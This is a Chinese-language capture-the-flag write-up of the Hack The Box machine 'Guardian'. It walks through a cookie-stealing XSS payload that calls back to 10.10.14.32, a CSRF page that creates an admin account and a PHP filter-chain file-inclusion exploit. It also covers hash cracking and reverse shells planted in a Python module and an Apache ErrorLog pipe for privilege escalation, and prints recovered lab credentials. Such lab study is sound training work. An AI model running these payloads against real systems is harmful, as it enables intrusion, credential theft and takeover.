跳过正文

HTB Guardian

·2722 字·6 分钟
LXY
作者
LXY
网络安全业余爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

端口扫描
#

nmap -Pn -sC -sV 10.10.11.84

添加主机到/etc/hosts

信息收集
#

访问http://guardian.htb

发现存在子域名portal.guardian.htb

添加子域名到hosts

访问http://portal.guardian.htb

查看Help发现默认密码:GU1234

回到guardian.htb的首页,可以看到三个学生的邮箱

第一个可以登录进去

username: GU0142023
password: GU1234

登录进去后查看chat留言,发现在URL中有传参的ID

可以进行遍历一下所有的ID,带上Cookie

seq 1 20 > nums.txt
ffuf -u 'http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2' -w nums.txt:FUZZ1 -w nums.txt:FUZZ2 -mode clusterbomb -H 'Cookie: PHPSESSID=0304agn4k1lsiodvd9n4jqkree' -fl 178,164
访问http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=1
得到了一个gitea的密码:DHsNnk3V503 回复者的名称是jamil.enockson

添加Hosts并访问gitea.guardian.htb

username: jamil.enockson@guardian.htb
password: DHsNnk3V503

发现gitea的版本号是1.23.7

在Guardian/portal.guardian.htb的config/config.php中发现数据库凭证

'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',

查看项目依赖

XSS
#

phpspreadsheet存在许多XSS漏洞

参考https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx
        // Construct HTML
        $html = '';

        // Only if there are more than 1 sheets
        if (count($sheets) > 1) {
            // Loop all sheets
            $sheetId = 0;

            $html .= '<ul class="navigation">' . PHP_EOL;

            foreach ($sheets as $sheet) {
                $html .= '  <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL;
                ++$sheetId;
            }

            $html .= '</ul>' . PHP_EOL;
        }

下面的简单分析:

  • 受影响函数:generateNavigation()
  • 问题:$sheet->getTitle() 直接拼接到 HTML <a> 标签里,没有 htmlspecialchars()
  • 场景:当 XLSX 有多个工作表时,会生成一个导航菜单。
  • 攻击者只要能控制 Excel 表的 工作表名称,就能触发。

利用条件

  • 攻击者需要上传或让受害者打开 恶意构造的 XLSX 文件。
  • 服务器端用 PhpSpreadsheet\Writer\Html 转换为 HTML 并输出。
  • 用户访问这个转换后的页面时,XSS 就触发

WPS、一些python库以及一些在线编辑网站限制了sheet的名称长度或者特殊字符。这个网站还可以使用https://www.treegrid.com/FShee

构造payload
"><img src=x onerror=fetch('http://10.10.14.32:8000/?c='+btoa(document.cookie))>

回到portal找到一个上传点,允许上传的格式是docx、xlsx

启动监听

python3 -m http.server 8000

接收到的数据采用 base64 的编码形式

echo UEhQU0VTU0lEPWoycmc2dG45bnUxc3RtcTNrYWlvZW5wMHNp | base64 -d

得到cookie:PHPSESSID=j2rg6tn9nu1stmq3kaioenp0si

修改PHPSESSID发现是老师用户

然后进入Notice Board,发现可以留言,并且留言链接会被admin查看,似乎又是一个XSS

回到gitea查看一下源码,可以看到管理员可以创建用户配置文件,并且有一个名为csrf-tokens.php 的页面

查看csrf-tokens.php发现这里没有csrf_token的删除逻辑,可以找到一个用过的

http://portal.guardian.htb/lecturer/notices/create.php中找到一个

写一个exp.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF Exploit</title>
</head>
<body>
<h1>CSRF Exploit Test</h1>
<form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="P@ssw0rd123">
    <input type="hidden" name="full_name" value="Attacker User">
    <input type="hidden" name="email" value="attacker@example.com">
    <input type="hidden" name="dob" value="1990-01-01">
    <input type="hidden" name="address" value="123 Hackers Street">
    <input type="hidden" name="user_role" value="admin">
    <input type="hidden" name="csrf_token" value="de798831d2a5cb7d4ffde4458909c8b3">
</form>
<script>
    document.getElementById('csrfForm').submit();
</script>
</body>
</html>

开启监听

提交请求

然后可以利用下面的凭证登录到Admin Panel

username: attacker
password: P@ssw0rd123

本地文件包含
#

来到Reports,发现URL中有文件参数

尝试使用php://filter来测试

回到gitea查看reports.php的源码

<?php
require '../includes/auth.php';
require '../config/db.php';

if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
    header('Location: /login.php');
    exit();
}

$report = $_GET['report'] ?? 'reports/academic.php';

if (strpos($report, '..') !== false) {
    die("<h2>Malicious request blocked 🚫 </h2>");
}

if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
    die("<h2>Access denied. Invalid file 🚫</h2>");
}

?>

如果路径里包含 ..(目录穿越尝试),就直接拒绝。 只允许四类文件:enrollment.phpacademic.phpfinancial.phpsystem.php(以及它们可能带路径前缀的情况)。如果不匹配,直接拒绝。

原始路径将如下所示:/var/www/html/config/db.php/。这是在末尾添加 ,system.php 之后: /var/www/html/config/db.php/,system.php

可见不再拒绝访问,但看不到 db.php 文件的内容

可以使用 php://filter 包装器的概念来利用这一点。参考https://github.com/synacktiv/php_filter_chain_generator

现在复制、粘贴和发送,看看是否可以看到 id

现在利用这一点来反转 shell

python php_filter_chain_generator.py --chain '<?php system("bash -c '\''bash -i >& /dev/tcp/10.10.14.32/4444 0>&1'\''");?>'

RCE
#

启动监听并发送

得到了带有 WWW-data 用户的 shell,一个最低权限用户,无法运行 sudo 命令,所以要检查打开的端口和服务。

端口 3306打开,我们还从源代码中看到 config.php包含凭据,因此可以将其用于访问 mysql

'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
mysql -h 127.0.0.1 -u root -pGu4rd14n_un1_1s_th3_b3st guardiandb

信息收集

show databases;
use guardiandb;
show tables;
select username,password_hash from users;

在creatuser.php里面知道了密码的生成逻辑是加盐SHA256,盐值在config.php中

<?php
return [
    'db' => [
        'dsn' => 'mysql:host=localhost;dbname=guardiandb',
        'username' => 'root',
        'password' => 'Gu4rd14n_un1_1s_th3_b3st',
        'options' => []
    ],
    'salt' => '8Sb)tM1vs1SS'
];

$password = hash('sha256', $password . $salt);

密码破解
#

hashcat -m 1410 hash.txt -w 3 -O /usr/share/wordlists/rockyou.txt --username

hashcat -m 1410 hash.txt -w 3 -O /usr/share/wordlists/rockyou.txt --username --show
admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000
jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56

admin 的密码似乎太可疑了,使用 jamil.enockson 进行 ssh。

ssh jamil@10.10.11.84
ls -la

获取user flag

提权
#

sudo -l

发现可以以 MARK权限运行命令

查看/opt/scripts/utilities/utilities.py

## utilities.py
#!/usr/bin/env python3

import argparse
import getpass
import sys

from utils import db
from utils import attachments
from utils import logs
from utils import status

def main():
    parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
    parser.add_argument("action", choices=[
        "backup-db",
        "zip-attachments",
        "collect-logs",
        "system-status"
    ], help="Action to perform")

    args = parser.parse_args()
    user = getpass.getuser()

    if args.action == "backup-db":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        db.backup_database()
    elif args.action == "zip-attachments":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        attachments.zip_attachments()
    elif args.action == "collect-logs":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        logs.collect_logs()
    elif args.action == "system-status":
        status.system_status()
    else:
        print("Unknown action.")

if __name__ == "__main__":
    main()
  • 脚本接收一个 action 参数:backup-dbzip-attachmentscollect-logssystem-status
  • 如果执行前三个操作,必须是 mark 用户,否则拒绝访问。
  • system-status 不受限制,任何用户都能运行。
  • 内部调用了 utils 模块下的子模块函数(比如 db.backup_database()),实际功能依赖这些模块。

查看utils目录下的文件,发现status.py是可以写入的

思路就是反弹shell代码写入status.py,然后执行utilities.py

先备份 status.py 原始文件再修改

## status.py
import platform
import psutil
import os
import subprocess

def system_status():
    print("System:", platform.system(), platform.release())
    print("CPU usage:", psutil.cpu_percent(), "%")
    print("Memory usage:", psutil.virtual_memory().percent, "%")
    subprocess.run(["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.32/5555 0>&1"])
开启监听并运行
sudo -u mark /opt/scripts/utilities/utilities.py system-status

Root
#

sudo -l

发现可以以 root 权限运行safeapache2ctl

/usr/local/bin/safeapache2ctl

此脚本需要来自 /home/mark/confs/file.conf 的配置文件,但 /confs 似乎为空

利用Apache配置文件提权

Apache支持将日志通过管道(|)输出到外部程序,日志内容通过标准输入(stdin)传递给指定程序。攻击者可利用此功能指定恶意脚本,从而实现远程命令执行(RCE)。

cat > /home/mark/confs/shell.conf << EOF
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
ServerRoot "/etc/apache2"
ServerName localhost
PidFile /tmp/apache-rs.pid
Listen 127.0.0.1:8080
ErrorLog "|/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.32/6666 0>&1'"
EOF

开启监听并运行

sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/shell.conf

获取root flag